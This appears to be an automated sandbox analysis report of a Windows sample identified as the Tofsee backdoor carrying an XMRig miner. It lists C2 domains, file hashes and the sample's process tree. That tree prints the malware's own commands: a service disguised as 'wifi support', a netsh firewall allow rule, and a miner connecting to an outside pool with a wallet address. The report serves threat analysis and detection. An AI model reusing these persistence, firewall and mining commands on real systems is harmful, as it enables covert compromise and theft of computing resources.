Analysis

  • max time kernel
    141s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    26/10/2022, 04:16

General

  • Target
    file.exe
  • Size 223KB
  • Sample221026-evspksegam
  • SHA256 01c5f981a0b9995dce8c4f950cd93d8135fedd253d48efc709fdce8ce3e07ae7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1456
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\igoohskd\
      2⤵
        PID:1704
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\taaefpzk.exe" C:\Windows\SysWOW64\igoohskd\
        2⤵
          PID:1328
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create igoohskd binPath= "C:\Windows\SysWOW64\igoohskd\taaefpzk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1372
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description igoohskd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1320
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start igoohskd
          2⤵
          • Launches sc.exe
          PID:668
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:436
      • C:\Windows\SysWOW64\igoohskd\taaefpzk.exe
        C:\Windows\SysWOW64\igoohskd\taaefpzk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1980
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1552
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1732

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            taaefpzk.exe

            • Path C:\Users\Admin\AppData\Local\Temp\taaefpzk.exe
            • Size 14.3MB
            • SHA256 70a5ebd1ed1cc2c87a4e30084351c83783c9eb31a6d4ddf0582110e495f71666
            • MD5 SHA1 SHA512 SSDEEP

            taaefpzk.exe

            • Path C:\Windows\SysWOW64\igoohskd\taaefpzk.exe
            • Size 14.3MB
            • SHA256 70a5ebd1ed1cc2c87a4e30084351c83783c9eb31a6d4ddf0582110e495f71666
            • MD5 SHA1 SHA512 SSDEEP

            memory/1456-58-0x0000000000400000-0x0000000000595000-memory.dmp

            memory/1456-57-0x00000000001B0000-0x00000000001C3000-memory.dmp

            memory/1456-67-0x0000000000400000-0x0000000000595000-memory.dmp

            memory/1456-56-0x000000000028B000-0x000000000029C000-memory.dmp

            memory/1456-54-0x0000000075B51000-0x0000000075B53000-memory.dmp

            memory/1456-66-0x000000000028B000-0x000000000029C000-memory.dmp

            memory/1552-69-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1552-95-0x0000000000250000-0x0000000000257000-memory.dmp

            memory/1552-71-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1552-107-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1552-78-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1552-80-0x0000000001850000-0x0000000001A5F000-memory.dmp

            memory/1552-83-0x00000000000A0000-0x00000000000A6000-memory.dmp

            memory/1552-86-0x00000000001A0000-0x00000000001B0000-memory.dmp

            memory/1552-89-0x00000000001C0000-0x00000000001C5000-memory.dmp

            memory/1552-92-0x00000000055E0000-0x00000000059EB000-memory.dmp

            memory/1732-98-0x0000000000150000-0x0000000000241000-memory.dmp

            memory/1732-100-0x0000000000150000-0x0000000000241000-memory.dmp

            memory/1980-74-0x000000000070B000-0x000000000071C000-memory.dmp

            memory/1980-77-0x0000000000400000-0x0000000000595000-memory.dmp